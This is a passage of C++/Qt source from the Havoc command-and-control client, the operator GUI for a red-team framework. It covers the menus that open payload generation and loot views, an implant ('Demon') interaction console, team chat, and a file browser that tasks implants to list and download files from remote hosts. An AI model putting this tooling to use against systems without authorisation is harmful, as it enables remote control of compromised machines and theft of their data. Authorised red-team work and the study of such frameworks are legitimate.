HavocX::Teamserver.TabSession->MainViewWidget->setCurrentIndex( 1 ); } ); QMainWindow::connect( actionLogs, &QAction::triggered, this, [&]() { auto Teamserver = HavocX::Teamserver.TabSession; if ( Teamserver->SmallAppWidgets->EventViewer == nullptr ) { Teamserver->SmallAppWidgets->EventViewer = new SmallWidgets::EventViewer; Teamserver->SmallAppWidgets->EventViewer->setupUi( new QWidget ); } NewSmallTab( Teamserver->SmallAppWidgets->EventViewer->EventViewer, "Event Viewer" ); } ); QMainWindow::connect( actionLoot, &QAction::triggered, this, [&]() { if ( HavocX::Teamserver.TabSession->LootWidget == nullptr ) { HavocX::Teamserver.TabSession->LootWidget = new LootWidget; } NewBottomTab( HavocX::Teamserver.TabSession->LootWidget, "Loot Collection" ); } ); QMainWindow::connect( actionGeneratePayload, &QAction::triggered, this, []() { if ( HavocX::Teamserver.TabSession->PayloadDialog == nullptr ) { HavocX::Teamserver.TabSession->PayloadDialog = new Payload; HavocX::Teamserver.TabSession->PayloadDialog->setupUi( new QDialog ); HavocX::Teamserver.TabSession->PayloadDialog->TeamserverName = HavocX::Teamserver.Name; } HavocX::Teamserver.TabSession->PayloadDialog->Start(); } ); QMainWindow::connect( actionPythonConsole, &QAction::triggered, this, [&]() { auto Teamserver = HavocX::Teamserver.TabSession; if ( Teamserver->PythonScriptWidget == nullptr ) { Teamserver->PythonScriptWidget = new Widgets::PythonScriptInterpreter; Teamserver->PythonScriptWidget->setupUi( new QWidget ); } NewBottomTab( Teamserver->PythonScriptWidget->PythonScriptInterpreterWidget, "Scripting Console" ); } ); QMainWindow::connect( actionLoad_Script, &QAction::triggered, this, [&]() { auto Teamserver = HavocX::Teamserver.TabSession; if ( Teamserver->PythonScriptWidget == nullptr ) { Teamserver->PythonScriptWidget = new Widgets::PythonScriptInterpreter; Teamserver->PythonScriptWidget->setupUi( new QWidget ); } if ( Teamserver->ScriptManagerWidget == nullptr ) { Teamserver->ScriptManagerWidget = new Widgets::ScriptManager; Teamserver->ScriptManagerWidget->SetupUi( new QWidget ); } NewBottomTab( Teamserver->ScriptManagerWidget->ScriptManagerWidget, "Script Manager" ); } ); QMainWindow::connect( actionAbout, &QAction::triggered, this, [&]() { if ( AboutDialog == nullptr ) { AboutDialog = new About( new QDialog(HavocX::HavocUserInterface->HavocWindow) ); AboutDialog->setupUi(); } this->AboutDialog->AboutDialog->exec(); } ); QMainWindow::connect( actionGithub_Repository, &QAction::triggered, this, []() { QDesktopServices::openUrl( QUrl( "https://github.com/HavocFramework/Havoc" ) ); } ); QMainWindow::connect( actionOpen_Help_Documentation, &QAction::triggered, this, []() { QDesktopServices::openUrl( QUrl( "https://havocframework.com/docs/welcome" ) ); } ); } void HavocNamespace::UserInterface::HavocUi::NewBottomTab(QWidget* TabWidget, const std::string& TitleName, const QString IconPath ) const { HavocX::Teamserver.TabSession->NewBottomTab( TabWidget, TitleName ); } void HavocNamespace::UserInterface::HavocUi::setDBManager(HavocSpace::DBManager* dbManager) { this->dbManager = dbManager; } void UserInterface::HavocUi::NewTeamserverTab(HavocNamespace::Util::ConnectionInfo* Connection ) { Connection->TabSession = new UserInterface::Widgets::TeamserverTabSession; Connection->TabSession->setupUi( new QWidget, Connection->Name ); int id = TeamserverTabWidget->addTab( Connection->TabSession->PageWidget, Connection->Name ); TeamserverTabWidget->setCurrentIndex( id ); HavocX::Teamserver = *Connection; } void UserInterface::HavocUi::NewTeamserverTab(QString Name ) { HavocX::Teamserver.TabSession = new UserInterface::Widgets::TeamserverTabSession; HavocX::Teamserver.TabSession->setupUi( new QWidget, HavocX::Teamserver.Name ); int id = TeamserverTabWidget->addTab( HavocX::Teamserver.TabSession->PageWidget, HavocX::Teamserver.Name ); TeamserverTabWidget->setCurrentIndex( id ); } void UserInterface::HavocUi::NewSmallTab(QWidget *TabWidget, const string &TitleName ) const { auto Teamserver = HavocX::Teamserver.TabSession; Teamserver->NewWidgetTab( TabWidget, TitleName ); } void UserInterface::HavocUi::PythonPrepare() { PyImport_AppendInittab( "emb", emb::PyInit_emb ); PyImport_AppendInittab( "havocui", PythonAPI::HavocUI::PyInit_HavocUI ); PyImport_AppendInittab( "havoc", PythonAPI::Havoc::PyInit_Havoc ); Py_Initialize(); PyImport_ImportModule( "emb" ); for ( auto& ScriptPath : dbManager->GetScripts() ) { Widgets::ScriptManager::AddScript( ScriptPath ); } } havoc-0.6~git20240910.69ce17c/client/src/UserInterface/SmallWidgets/000077500000000000000000000000001467014221700244725ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/src/UserInterface/SmallWidgets/EventViewer.cc000066400000000000000000000017071467014221700272510ustar00rootroot00000000000000#include #include void HavocNamespace::UserInterface::SmallWidgets::EventViewer::setupUi(QWidget *Widget) { this->EventViewer = Widget; if (Widget->objectName().isEmpty()) Widget->setObjectName(QString::fromUtf8("EventViewerWidget")); gridLayout = new QGridLayout(Widget); gridLayout->setObjectName(QString::fromUtf8("gridLayout")); gridLayout->setContentsMargins(4, 4, 4, 4); EventViewerConsole = new QTextEdit(Widget); EventViewerConsole->setObjectName(QString::fromUtf8("EventViewer")); EventViewerConsole->setReadOnly(true); gridLayout->addWidget(EventViewerConsole, 0, 0, 1, 1); QMetaObject::connectSlotsByName(Widget); } void HavocNamespace::UserInterface::SmallWidgets::EventViewer::AppendText(const QString& Time, const QString& text) const { QString t = Util::ColorText::Comment(Time) + " " + text; EventViewerConsole->append(t); }havoc-0.6~git20240910.69ce17c/client/src/UserInterface/Widgets/000077500000000000000000000000001467014221700235015ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/src/UserInterface/Widgets/Chat.cc000066400000000000000000000065001467014221700246700ustar00rootroot00000000000000#include #include #include #include #include #include #include #include void HavocNamespace::UserInterface::Widgets::Chat::setupUi( QWidget *Form ) { ChatWidget = Form; if ( Form->objectName().isEmpty() ) { Form->setObjectName(QString::fromUtf8("Form")); } Form->resize( 932, 536 ); gridLayout = new QGridLayout(Form); gridLayout->setObjectName(QString::fromUtf8("gridLayout")); gridLayout->setVerticalSpacing(4); gridLayout->setContentsMargins(1, 4, 1, 4); lineEdit = new QLineEdit(Form); lineEdit->setObjectName(QString::fromUtf8("lineEdit")); gridLayout->addWidget(lineEdit, 2, 1, 1, 1); auto label = new QLabel(Form); label->setObjectName(QString::fromUtf8("label")); gridLayout->addWidget(label, 2, 0, 1, 1); EventLogText = new QTextEdit(Form); EventLogText->setObjectName(QString::fromUtf8("EventLogText")); EventLogText->setReadOnly(true); EventLogText->setLineWrapMode(QTextEdit::LineWrapMode::NoWrap); gridLayout->addWidget(EventLogText, 0, 0, 1, 2); Form->setWindowTitle(QCoreApplication::translate("Form", "Form", nullptr)); lineEdit->setText(QString()); label->setStyleSheet("padding-bottom: 3px; padding-left: 5px;"); lineEdit->setStyleSheet( "background-color: "+Util::ColorText::Colors::Hex::Background+";" + "color: "+Util::ColorText::Colors::Hex::Foreground+";" ); EventLogText->setStyleSheet( "background-color: "+Util::ColorText::Colors::Hex::Background+";" + "color: "+Util::ColorText::Colors::Hex::Foreground+";" ); label->setText( HavocX::Teamserver.User ); connect( lineEdit, &QLineEdit::returnPressed, this, &Chat::AppendFromInput ); QMetaObject::connectSlotsByName(Form); } void HavocNamespace::UserInterface::Widgets::Chat::AppendText(const QString& Time, const QString& text) const { QString t = Util::ColorText::Comment(Time) +" "+ text; EventLogText->append( t ); } void HavocNamespace::UserInterface::Widgets::Chat::AddUserMessage(const QString Time, QString User, QString text) const { if ( HavocX::Teamserver.User.compare( User ) == 0 ) this->AppendText( Time, "[" + Util::ColorText::UnderlineGreen( User ) + "]" + Util::ColorText::Bold(" :: ") + text ); else this->AppendText( Time, "[" + Util::ColorText::Underline( User ) + "]" + Util::ColorText::Bold(" :: ") + text ); } void HavocNamespace::UserInterface::Widgets::Chat::AppendFromInput() { auto text = this->lineEdit->text(); if ( ! text.isEmpty() ) { Util::Packager::Package Package; Util::Packager::Head_t Head; Util::Packager::Body_t Body; auto User = HavocX::Teamserver.User.toStdString(); Head.Event = Util::Packager::Chat::Type; Head.Time = QTime::currentTime().toString("hh:mm:ss").toStdString(); Head.User = User; Body.SubEvent = Util::Packager::Chat::NewMessage; Body.Info[ User ] = text.toHtmlEscaped().toUtf8().toBase64().toStdString(); Package.Head = Head; Package.Body = Body; HavocX::Connector->SendPackage( &Package ); } this->lineEdit->clear(); } havoc-0.6~git20240910.69ce17c/client/src/UserInterface/Widgets/DemonInteracted.cc000066400000000000000000000232101467014221700270530ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include using namespace HavocNamespace::UserInterface::Widgets; using namespace HavocNamespace::Util; DemonInteracted::DemonInput::DemonInput( QWidget* parent ) : QLineEdit( parent ) { CommandHistoryIndex = 0; } bool DemonInteracted::DemonInput::handleKeyPress( QKeyEvent* eventKey ) { switch (eventKey->key()) { case Qt::Key_Tab: handleTabKey(); return true; case Qt::Key_Up: handleUpKey(); return true; case Qt::Key_Down: handleDownKey(); return true; default: return false; } } void DemonInteracted::DemonInput::handleTabKey() { auto CompletedString = completer()->currentCompletion(); if ( ! CompletedString.isEmpty() ) { setText( CompletedString ); } } void DemonInteracted::DemonInput::handleUpKey() { if ( CommandHistoryIndex == 0 ) { setText( "" ); return; } CommandHistoryIndex--; if ( CommandHistoryIndex >= 1 ) { setText( CommandHistory.at( CommandHistoryIndex ) ); } else { if ( ! CommandHistory.empty() ) { setText( CommandHistory.at( CommandHistoryIndex ) ); } else { setText( "" ); } } } void DemonInteracted::DemonInput::handleDownKey() { if (CommandHistoryIndex < CommandHistory.size()) { CommandHistoryIndex++; setText(CommandHistory.at(CommandHistoryIndex - 1)); } else setText(""); } bool DemonInteracted::DemonInput::event( QEvent* e ) { if ( e->type() == e->KeyPress ) { auto eventKey = dynamic_cast( e ); if ( handleKeyPress( eventKey ) ) { return true; } } return QLineEdit::event( e ); } void DemonInteracted::DemonInput::AddCommand( const QString &Command ) { CommandHistory << Command; } void DemonInteracted::setupUi( QWidget *Form ) { this->DemonInteractedWidget = Form; if ( Form->objectName().isEmpty() ) { Form->setObjectName( QString::fromUtf8( "Form" ) ); } Form->resize( 932, 536 ); gridLayout = new QGridLayout( Form ); gridLayout->setObjectName( QString::fromUtf8( "gridLayout" ) ); gridLayout->setVerticalSpacing( 4 ); gridLayout->setContentsMargins( 1, 4, 1, 4 ); label = new QLabel( Form ); label->setObjectName( QString::fromUtf8( "label" ) ); gridLayout->addWidget( label, 3, 0, 1, 1 ); lineEdit = new DemonInput( Form ); lineEdit->setObjectName( QString::fromUtf8( "lineEdit" ) ); gridLayout->addWidget( lineEdit, 3, 1, 1, 1 ); Console = new QTextEdit(Form); Console->setObjectName(QString::fromUtf8("Console")); Console->setReadOnly(true); Console->setLineWrapMode( QTextEdit::LineWrapMode::NoWrap ); Console->setStyleSheet( "background-color: "+Util::ColorText::Colors::Hex::Background+";" + "color: "+Util::ColorText::Colors::Hex::Foreground+";" ); gridLayout->addWidget(Console, 0, 0, 1, 2); label_2 = new QLabel(Form); label_2->setObjectName(QString::fromUtf8("label_2")); label_2->setTextInteractionFlags(Qt::TextSelectableByMouse); gridLayout->addWidget(label_2, 2, 0, 1, 2); Form->setWindowTitle(QCoreApplication::translate("Form", "Form", nullptr)); lineEdit->setText(QString()); label->setText(QCoreApplication::translate("Form", ">>>", nullptr)); label->setStyleSheet("padding-bottom: 3px;" "padding-left: 5px;"); if ( SessionInfo.MagicValue == DemonMagicValue ) { for ( auto& i : HavocSpace::DemonCommands::DemonCommandList ) { CompleterCommands << i.CommandString; if ( i.CommandString == "help" ) { for ( auto & j : HavocSpace::DemonCommands::DemonCommandList ) { if ( j.CommandString == "help" ) continue; CompleterCommands << "help " + j.CommandString; if ( ! j.SubCommands.empty() ) { for ( auto &subcommand: j.SubCommands ) CompleterCommands << "help " + j.CommandString + " " + subcommand.CommandString; } } } if ( ! i.SubCommands.empty() ) { for ( auto& subcommand : i.SubCommands ) CompleterCommands << i.CommandString + " " + subcommand.CommandString; } } for ( auto& Command : HavocX::Teamserver.AddedCommands ) { CompleterCommands << "help " + Command; CompleterCommands << Command; } } else { // 3rd party agent... } CommandCompleter = new QCompleter( CompleterCommands, this ); CommandCompleter->setCaseSensitivity( Qt::CaseInsensitive ); CommandCompleter->setCompletionMode( QCompleter::InlineCompletion ); lineEdit->setCompleter( CommandCompleter ); if ( this->SessionInfo.Domain.compare( "" ) == 0 ) { label_2->setText( "[" + this->SessionInfo.User + "/" + this->SessionInfo.Computer + "] " + this->SessionInfo.Process + "/" + this->SessionInfo.PID + " " + this->SessionInfo.Arch ); } else { label_2->setText( "[" + this->SessionInfo.User + "/" + this->SessionInfo.Computer + "] " + this->SessionInfo.Process + "/" + this->SessionInfo.PID + " " + this->SessionInfo.Arch + " ("+ this->SessionInfo.Domain + ")" ); } DemonCommands = new HavocSpace::DemonCommands; DemonCommands->Teamserver = this->TeamserverName; DemonCommands->DemonID = this->SessionInfo.Name; DemonCommands->MagicValue = this->SessionInfo.MagicValue; DemonCommands->SetDemonConsole( this ); connect( lineEdit, &QLineEdit::returnPressed, this, &DemonInteracted::AppendFromInput ); QMetaObject::connectSlotsByName( Form ); } void DemonInteracted::AppendFromInput() { AppendText( this->lineEdit->text() ); } void DemonInteracted::AppendText( const QString& text ) { if ( SessionInfo.MagicValue != DemonMagicValue ) { for ( auto& agent : HavocX::Teamserver.ServiceAgents ) { if ( SessionInfo.MagicValue == agent.MagicValue ) AgentTypeName = agent.Name; } } if ( AgentTypeName.isEmpty() ) { AgentTypeName = "Demon"; } DemonCommands->Prompt = QString( ColorText::Comment( CurrentDateTime() + " [" + HavocX::Teamserver.User + "] " ) + ColorText::UnderlinePink( AgentTypeName ) + ColorText::Cyan(" » ") + text ); if ( ! text.isEmpty() ) { lineEdit->CommandHistory << text; lineEdit->CommandHistoryIndex = lineEdit->CommandHistory.size(); /* check if registered a command called help. if yes then exclude this. */ auto AgentData = ServiceAgent(); auto HelpCommand = false; if ( DemonCommands->MagicValue != DemonMagicValue ) { for ( auto& agent : HavocX::Teamserver.ServiceAgents ) { if ( DemonCommands->MagicValue == agent.MagicValue ) { AgentData = agent; AgentTypeName = agent.Name; } } } for ( auto & command : AgentData.Commands ) { if ( command.Name == "help" ) { HelpCommand = true; break; } } if ( ! HelpCommand ) { if ( text.split( " " )[ 0 ].compare( "help" ) == 0 ) { AppendRaw(); AppendRaw( DemonCommands->Prompt ); } } DemonCommands->DispatchCommand( true, "", text ); Console->verticalScrollBar()->setValue( Console->verticalScrollBar()->maximum() ); } this->lineEdit->clear(); } QString DemonInteracted::TaskInfo( bool Show, QString TaskID, const QString &text ) const { if ( TaskID == nullptr ) { TaskID = Util::gen_random( 8 ).c_str(); } if ( ! Show ) { auto TaskMessage = Util::ColorText::Cyan( "[*]" ) + " "+ Util::ColorText::Comment( "[" + TaskID + "]" ) + " " + Util::ColorText::Cyan( text.toHtmlEscaped() ); this->Console->append( TaskMessage ); } return TaskID; } QString DemonInteracted::TaskError( const QString &text ) const { auto TaskMessage = Util::ColorText::Red( "[!]" ) + " " + text.toHtmlEscaped(); this->Console->append( TaskMessage ); return TaskMessage; } void UserInterface::Widgets::DemonInteracted::AppendRaw(const QString& text) { this->Console->append( text ); } void DemonInteracted::AppendNoNL( const QString &text ) { QTextCursor prev_cursor = this->Console->textCursor(); this->Console->moveCursor( QTextCursor::End ); this->Console->insertHtml( text ); this->Console->setTextCursor( prev_cursor ); } void DemonInteracted::AutoCompleteAdd( QString text ) { /*auto model = ( QStringListModel* ) CommandCompleter->model(); CompleterCommands << text; model->setStringList( CompleterCommands ); CommandCompleter->setModel( model );*/ } void DemonInteracted::AutoCompleteClear() { auto model = ( QStringListModel* ) CommandCompleter->model(); auto list = QStringList(); model->setStringList( list ); CommandCompleter->setModel( model ); } void DemonInteracted::AutoCompleteAddList( QStringList list ) { auto model = ( QStringListModel* ) CommandCompleter->model(); model->setStringList( list ); CommandCompleter->setModel( model ); } havoc-0.6~git20240910.69ce17c/client/src/UserInterface/Widgets/FileBrowser.cc000066400000000000000000000406021467014221700262350ustar00rootroot00000000000000#include #include #include #include #include #include static auto JoinAtIndex( QStringList list, int index, QString sep ) -> QString { auto string = QString(); for ( int i = 0; i < list.size(); i++ ) { if ( i == index ) break; string = string + list[ i ] + sep; } return string; } auto PathGetParent( QString MainPath ) -> QString { auto Path = MainPath.toStdString(); auto Indx = 0; for ( Indx = Path.size() ;; Indx-- ) if ( Path[ Indx ] == '\\' ) break; Path = Path.substr( 0, Indx ); spdlog::info( "Path: {}", Path ); return QString( Path.c_str() ); } void FileBrowser::setupUi( QWidget* FileBrowser ) { FileBrowserWidget = FileBrowser; auto MenuStyle = QString( "QMenu {" " background-color: #282a36;" " color: #f8f8f2;" " border: 1px solid #44475a;" "}" "QMenu::separator {" " background: #44475a;" "}" "QMenu::item:selected {" " background: #44475a;" "}" "QAction {" " background-color: #282a36;" " color: #f8f8f2;" "}" ); if ( FileBrowser->objectName().isEmpty() ) FileBrowser->setObjectName( QString::fromUtf8( "FileBrowser" ) ); gridLayout = new QGridLayout( FileBrowser ); gridLayout->setObjectName( QString::fromUtf8( "gridLayout" ) ); splitter = new QSplitter( FileBrowser ); splitter->setObjectName( QString::fromUtf8( "splitter" ) ); splitter->setOrientation( Qt::Horizontal ); FileBrowserTree = new QTreeWidget( splitter ); FileBrowserTree->setObjectName( QString::fromUtf8( "FileBrowserTree" ) ); FileBrowserListWidget = new QWidget( splitter ); FileBrowserListWidget->setObjectName( QString::fromUtf8( "FileBrowserListWidget" ) ); formLayout = new QFormLayout( FileBrowserListWidget ); formLayout->setObjectName( QString::fromUtf8( "formLayout" ) ); ButtonGoUpDir = new QPushButton( FileBrowserListWidget ); ButtonGoUpDir->setObjectName( QString::fromUtf8( "ButtonGoUpDir" ) ); formLayout->setWidget( 0, QFormLayout::LabelRole, ButtonGoUpDir ); InputFileBrowserPath = new QLineEdit( FileBrowserListWidget ); InputFileBrowserPath->setObjectName( QString::fromUtf8( "InputFileBrowserPath" ) ); formLayout->setWidget( 0, QFormLayout::FieldRole, InputFileBrowserPath ); TableFileBrowser = new QTableWidget( FileBrowserListWidget ); TableFileBrowser->setObjectName( QString::fromUtf8( "TableFileBrowser" ) ); TableFileBrowser->setEnabled( true ); TableFileBrowser->setShowGrid( false ); TableFileBrowser->setSortingEnabled( false ); TableFileBrowser->setWordWrap( true ); TableFileBrowser->setCornerButtonEnabled( true ); TableFileBrowser->horizontalHeader()->setVisible( true ); TableFileBrowser->setSelectionBehavior( QAbstractItemView::SelectRows ); TableFileBrowser->setContextMenuPolicy( Qt::CustomContextMenu ); TableFileBrowser->horizontalHeader()->setSectionResizeMode( QHeaderView::Stretch ); TableFileBrowser->verticalHeader()->setVisible(false); TableFileBrowser->verticalHeader()->setStretchLastSection( false ); TableFileBrowser->verticalHeader()->setDefaultSectionSize( 12 ); TableFileBrowser->setFocusPolicy( Qt::NoFocus ); if ( TableFileBrowser->columnCount() < 3 ) TableFileBrowser->setColumnCount( 3 ); TableFileBrowser->setHorizontalHeaderItem( 0, new QTableWidgetItem( "Name" ) ); TableFileBrowser->setHorizontalHeaderItem( 1, new QTableWidgetItem( "Size" ) ); TableFileBrowser->setHorizontalHeaderItem( 2, new QTableWidgetItem( "Modified" ) ); formLayout->setWidget( 1, QFormLayout::SpanningRole, TableFileBrowser ); splitter->addWidget( FileBrowserTree ); splitter->addWidget( FileBrowserListWidget ); splitter->setSizes( QList() << 1 << 250 ); gridLayout->addWidget( splitter, 0, 0, 1, 1 ); MenuFileBrowserTable = new QMenu( this ); MenuFileBrowserTable->setStyleSheet( MenuStyle ); // MenuFileBrowserTable->addAction( "Remove", this, &FileBrowser::onTableMenuRemove ); MenuFileBrowserTable->addAction( "Download", this, &FileBrowser::onTableMenuDownload ); MenuFileBrowserTable->addAction( "Reload", this, &FileBrowser::onTableMenuReload ); // MenuFileBrowserTable->addAction( "Mkdir", this, &FileBrowser::onTableMenuMkdir ); TableFileBrowser->addAction( MenuFileBrowserTable->menuAction() ); MenuFileBrowserTree = new QMenu( this ); MenuFileBrowserTree->setStyleSheet( MenuStyle ); // MenuFileBrowserTree->addAction( "List Drives", this, &FileBrowser::onTreeMenuListDrives ); // MenuFileBrowserTree->addAction( "Remove", this, &FileBrowser::onTreeMenuRemove ); // MenuFileBrowserTree->addAction( "Reload", this, &FileBrowser::onTreeMenuReload ); // MenuFileBrowserTree->addAction( "Mkdir", this, &FileBrowser::onTreeMenuMkdir ); FileBrowserTree->addAction( MenuFileBrowserTree->menuAction() ); retranslateUi( ); QObject::connect( TableFileBrowser, &QTableWidget::cellDoubleClicked, this, &FileBrowser::onTableDoubleClick ); QObject::connect( TableFileBrowser, &QTableWidget::customContextMenuRequested, this, &FileBrowser::onTableContextMenu ); QObject::connect( FileBrowserTree, &QTreeWidget::customContextMenuRequested, this, &FileBrowser::onTableContextMenu ); QObject::connect( ButtonGoUpDir, &QPushButton::clicked, this, &FileBrowser::onButtonUp ); QObject::connect( InputFileBrowserPath, &QLineEdit::returnPressed, this, &FileBrowser::onInputPath ); QMetaObject::connectSlotsByName( FileBrowser ); } void FileBrowser::retranslateUi() { auto Pix = QPixmap( ":/icons/FileBrowserFolder" ); FileBrowserWidget->setWindowTitle( QCoreApplication::translate("FileBrowser", "FileBrowser", nullptr)); FileBrowserTree->headerItem()->setText( 0, "Files" ); ButtonGoUpDir->setIcon( QIcon( Pix ) ); ButtonGoUpDir->setIconSize( Pix.rect().size() ); } void FileBrowser::AddData( QJsonDocument JsonData ) { auto Path = QString(); auto Files = QJsonDocument(); auto Data = FileDirData(); if ( ! JsonData[ "Path" ].isString() ) { spdlog::error( "[FileBrowser::AddData] Path is not string" ); return; } if ( ! JsonData[ "Files" ].isArray() ) { spdlog::error( "[FileBrowser::AddData] Files is not an array" ); return; } Path = QByteArray::fromBase64( JsonData[ "Path" ].toString().toLocal8Bit() ); Path.replace( "\\*", "" ); for ( int i = 0; i < DirData.size(); i++ ) { if ( Path.compare( DirData[ i ].Path ) == 0 ) { spdlog::info( "Path already exists. remove it" ); DirData.erase( DirData.begin() + i ); } } Files = QJsonDocument( JsonData[ "Files" ].toArray() ); Data = FileDirData { .Path = Path, .Data = Files }; if ( Files.isArray() ) { for ( auto data : Files.array() ) { if ( data.isObject() ) { auto Type = data.toObject()[ "Type" ].toString(); auto Name = data.toObject()[ "Name" ].toString(); auto Size = data.toObject()[ "Size" ].toString(); auto Modified = data.toObject()[ "Modified" ].toString(); auto fileData = FileData{ .Path = Path, .Type = Type, .Name = Name, .Size = Size, .Modified = Modified, }; Data.Files.push_back( fileData ); } else spdlog::error( "Files isn't array" ); } } else spdlog::error( "Files isn't array" ); DirData.push_back( Data ); for ( auto& data : Data.Files ) { TableAddData( data ); // TreeAddData( data ); } TreeUpdate(); Path.replace( "\\*", "" ); InputFileBrowserPath->setText( Path ); } void FileBrowser::TreeAddData( FileData Data ) { spdlog::info( "Append tree" ); } void FileBrowser::TableAddData( FileData Data ) { auto ItemName = new FileBrowserTableItem(); auto ItemSize = new FileBrowserTableItem(); auto ItemModified = new FileBrowserTableItem(); if ( TableFileBrowser->rowCount() < 1 ) TableFileBrowser->setRowCount( 1 ); else TableFileBrowser->setRowCount( TableFileBrowser->rowCount() + 1 ); if ( Data.Type.compare( "dir" ) == 0 ) ItemName->setIcon( QIcon( ":/icons/FileBrowserFolder" ) ); else ItemName->setIcon( QIcon( ":/icons/FileBrowserFile" ) ); ItemName->setText( Data.Name ); ItemName->setFlags( ItemName->flags() ^ Qt::ItemIsEditable ); ItemName->setTextAlignment( Qt::AlignLeft ); ItemSize->setText( Data.Size ); ItemSize->setFlags( ItemSize->flags() ^ Qt::ItemIsEditable ); ItemSize->setTextAlignment( Qt::AlignLeft ); ItemModified->setText( Data.Modified ); ItemModified->setFlags( ItemModified->flags() ^ Qt::ItemIsEditable ); ItemModified->setTextAlignment( Qt::AlignLeft ); ItemName->Data = Data; ItemSize->Data = Data; ItemModified->Data = Data; TableFileBrowser->setItem( TableFileBrowser->rowCount() - 1, 0, ItemName ); TableFileBrowser->setItem( TableFileBrowser->rowCount() - 1, 1, ItemSize ); TableFileBrowser->setItem( TableFileBrowser->rowCount() - 1, 2, ItemModified ); } void FileBrowser::onTableDoubleClick( int row, int column ) { auto Item = ( ( FileBrowserTableItem* ) TableFileBrowser->item( row, column ) ); if ( Item->Data.Type.compare( "dir" ) == 0 ) { QString Path = Item->Data.Path + "\\" + Item->Data.Name; TableClear(); ChangePathAndSendRequest(Path ); return; } } void FileBrowser::onTreeDoubleClick() { } void FileBrowser::ChangePathAndSendRequest( QString Path ) { Path.replace( "\\*", "" ); InputFileBrowserPath->setText( Path ); for ( auto& Session : HavocX::Teamserver.Sessions ) { if ( Session.Name.compare( SessionID ) == 0 ) { Session.InteractedWidget->DemonCommands->Execute.FS( Util::gen_random( 8 ).c_str(), "dir;ui", Path ); } } } void FileBrowser::TableClear() { // TODO: free items for ( int i = TableFileBrowser->rowCount() - 1; i >= 0; i-- ) TableFileBrowser->removeRow( i ); } void FileBrowser::onButtonUp() { auto Path = PathGetParent( InputFileBrowserPath->text() ); TableClear(); ChangePathAndSendRequest( Path ); } void FileBrowser::onTableMenuDownload(){ auto Item = ( ( FileBrowserTableItem* ) TableFileBrowser->item( TableFileBrowser->currentRow(), 0 ) ); if ( Item->Data.Type.compare( "dir" ) == 0 ) { auto box = QMessageBox(); box.setWindowTitle( "FileBrowser error" ); box.setText( "Please select the file type correctly" ); box.setIcon( QMessageBox::NoIcon ); box.setStyleSheet( FileRead( ":/stylesheets/MessageBox" ) ); box.exec(); return; }else{ QString Path = Item->Data.Path + "\\" + Item->Data.Name; for ( auto& Session : HavocX::Teamserver.Sessions ) { if ( Session.Name.compare( SessionID ) == 0 ) { QString TaskID = Session.InteractedWidget->TaskInfo(true,Util::gen_random( 8 ).c_str(),"Tasked demon to download a file "+Path); Session.InteractedWidget->DemonCommands->Execute.FS( TaskID, "download", Path.toLocal8Bit().toBase64() ); } } return; } } void FileBrowser::onTableContextMenu( const QPoint &pos ) { if ( ! TableFileBrowser->itemAt( pos ) ) return; MenuFileBrowserTable->popup( TableFileBrowser->horizontalHeader()->viewport()->mapToGlobal( pos ) ); } void FileBrowser::onTreeContextMenu( const QPoint &pos ) { /*if ( ! FileBrowserTree->itemAt( pos ) ) return; MenuFileBrowserTree->popup( TableFileBrowser->horizontalHeader()->viewport()->mapToGlobal( pos ) );*/ } void FileBrowser::onTableMenuMkdir() { } void FileBrowser::onTableMenuReload() { auto Item = ( ( FileBrowserTableItem* ) TableFileBrowser->item( TableFileBrowser->currentRow(), 0 ) ); if(!Item->Data.Path.isEmpty()){ QString Path = Item->Data.Path; Path.replace( "\\*", "" ); InputFileBrowserPath->setText( Path ); for ( auto& Session : HavocX::Teamserver.Sessions ) { if ( Session.Name.compare( SessionID ) == 0 ) { TableClear(); Session.InteractedWidget->DemonCommands->Execute.FS( Util::gen_random( 8 ).c_str(), "dir;ui", Path ); } } } } void FileBrowser::onTableMenuRemove() { } void FileBrowser::onTreeMenuListDrives() { } void FileBrowser::onTreeMenuMkdir() { } void FileBrowser::onTreeMenuReload() { } void FileBrowser::onTreeMenuRemove() { } void FileBrowser::onInputPath() { auto Path = InputFileBrowserPath->text(); TableClear(); ChangePathAndSendRequest( Path ); } void FileBrowser::TreeUpdate() { TreeClear( ); for ( auto& Data : DirData ) { auto Split = Data.Path.split( "\\" ); // check if any Dir contains an empty space. if so then remove it. for ( int i = 0; i < Split.size(); i++ ) { if ( Split[ i ].compare( "" ) == 0 ) Split.removeAt( i ); } for ( int i = 0; i < Split.size(); i++ ) { if ( i == 0 ) { TreeAddDisk( Split[ i ] + "\\" ); continue; } auto Parent = JoinAtIndex( Split, i, "\\" ); auto Item = new FileBrowserTreeItem; Item->setText( 0, Split[ i ] ); Item->setIcon( 0, QIcon( ":/icons/FileBrowserFolder" ) ); Item->ParentPath = Parent + Split[ i ] + "\\"; TreeAddChildToParent( Parent, Item ); } for ( auto& subData : Data.Files ) { if ( subData.Type.compare( "dir" ) == 0 ) { auto Path = subData.Path; auto Item = new FileBrowserTreeItem; auto SubPath = subData.Path.replace( "\\\\", "\\" ); if ( ! SubPath.endsWith( '\\' ) ) SubPath = subData.Path + "\\"; auto SubName = subData.Name.replace( "\\\\", "\\" );; if ( ! SubName.endsWith( '\\' ) ) SubName = subData.Name + "\\"; Item->setText( 0, subData.Name ); Item->setIcon( 0, QIcon( ":/icons/FileBrowserFolder" ) ); Item->ParentPath = SubPath + SubName; TreeAddChildToParent( Path, Item ); } } } FileBrowserTree->expandAll(); } void FileBrowser::TreeClear( ) { FileBrowserTree->clear(); } auto FileBrowser::TreeSearchPath( QString ParentPath ) -> FileBrowserTreeItem* { auto Iterator = QTreeWidgetItemIterator( FileBrowserTree ); auto Item = ( ( FileBrowserTreeItem* ) nullptr ); while ( *Iterator ) { Item = ( ( FileBrowserTreeItem* ) ( *Iterator ) ); if ( ( Item->ParentPath.compare( ParentPath ) == 0 ) ) return Item; ++Iterator; } return nullptr; } void FileBrowser::TreeAddDisk( QString Disk ) { if ( ! TreeSearchPath( Disk ) ) { auto DiskItem = new FileBrowserTreeItem; DiskItem->setIcon( 0, QIcon( ":/icons/FileBrowserHardDisk" ) ); DiskItem->setText( 0, Disk ); DiskItem->ParentPath = Disk; FileBrowserTree->addTopLevelItem( DiskItem ); } } void FileBrowser::TreeAddChildToParent( QString ParentPath, FileBrowserTreeItem* DataItem ) { auto Parent = TreeSearchPath( ParentPath ); if ( Parent ) { if ( TreePathExists( DataItem->ParentPath ) ) return; Parent->addChild( DataItem ); return; } } auto FileBrowser::TreePathExists( QString Path 